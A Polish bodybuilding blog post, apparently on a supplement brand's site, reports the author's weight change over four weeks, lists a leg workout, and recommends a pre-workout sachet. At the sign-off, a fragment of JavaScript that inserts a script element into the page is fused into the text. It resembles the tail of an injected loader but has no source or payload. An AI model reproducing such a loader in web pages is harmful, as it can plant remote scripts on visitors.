4 Tygodnie budowania masy mięśniowej za mną …

22.06.2012 / Adam Jabłoński / Kulturystyka

Cześć,

Właśnie kończę 4 tydzień budowania masy mięśniowej.
do końca 3 tygodnia dobiłem do wagi 101,4 kg z rana na czczo, po odstawieniu kreatyny CM3  na dzień dzisiejszy ważę 100 kg, jeśli mogę tak powiedzieć jestem bardziej ” wyrzeźbiony” spowodowane jest to właśnie odstawieniem CM3-jki – wyglądam lepiej troszkę lepiej niż przy 101,4 kg ze względu spadku wody spod skóry.

Wczoraj na treningu ćwiczyłem nogi, jednak przed samym treningiem musiałem wziąć coś na pobudzenie i motywacje bo treningi nóg nie należą do moich ulubionych :-) PADŁO NA S.A.W.

Przed siłownią saszetka S.A.W. którą dostałem od HANIBALA (Hanibal to ten gość w filmiku poniżej) :

httpv://www.youtube.com/watch?v=1Lh63gdRFSs&feature=player_embedded

 

Trening wyglądał tak :

Rozgrzewka

NOGI :

4 x 15 PROSTOWNIE JEDNONÓŻ W SIADZIE
3 x 12 – PROSTOWNIE NÓG W SIADZIE
4 x 12/12/10/10 – PRZYSIADY ZE SZTANGĄ
3 x 20 WYPYCHANIE CIĘŻARU NA SUWNICY JEDNĄ NOGĄ
2 x 20 SYZYFKI
3 x 15 UGINANIE NÓG W SIADZIE (dwugłowe)
3 x 15 UGINANIE JEDNONÓŻ W SIADZIE (dwugłowe)
3 x 15 MARTWY CIĄG NA PROSTYCH NOGACH
4 x 25+25 ŁĄCZONA – ŚCIĄGANIE KOLAN W SIADZIE + ODWODZENIE KOLAN W SIADZIE

No i na łydki zabrakło czasu bo zamykali siłownię :-(

Jak nie macie siły zrobić ostrego treningu to polecam przed jazdą S.A.W -a

httpv://www.youtube.com/watch?v=DbslPf68_Q8&feature=player_embedded

Pozdrawiaj Hej
Cześćd.getElementsByTagName(‚head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Facebook YouTube Instagram
© 2001-2014 Trec Nutrition sp. z o.o. 81-127 Gdynia, ul.Śmidowicza 48. Spółka wpisana do rejestru przedsiębiorców w Sądzie Rejonowym dla Gdańska-Północ, VIII
Wydział Gospodarczy Krajowego Rejestru Sądowego KRS nr: 0000315748 NIP: 958-160-24-54, REGON: 220696468, kapitał zakładowy: 50.000 zl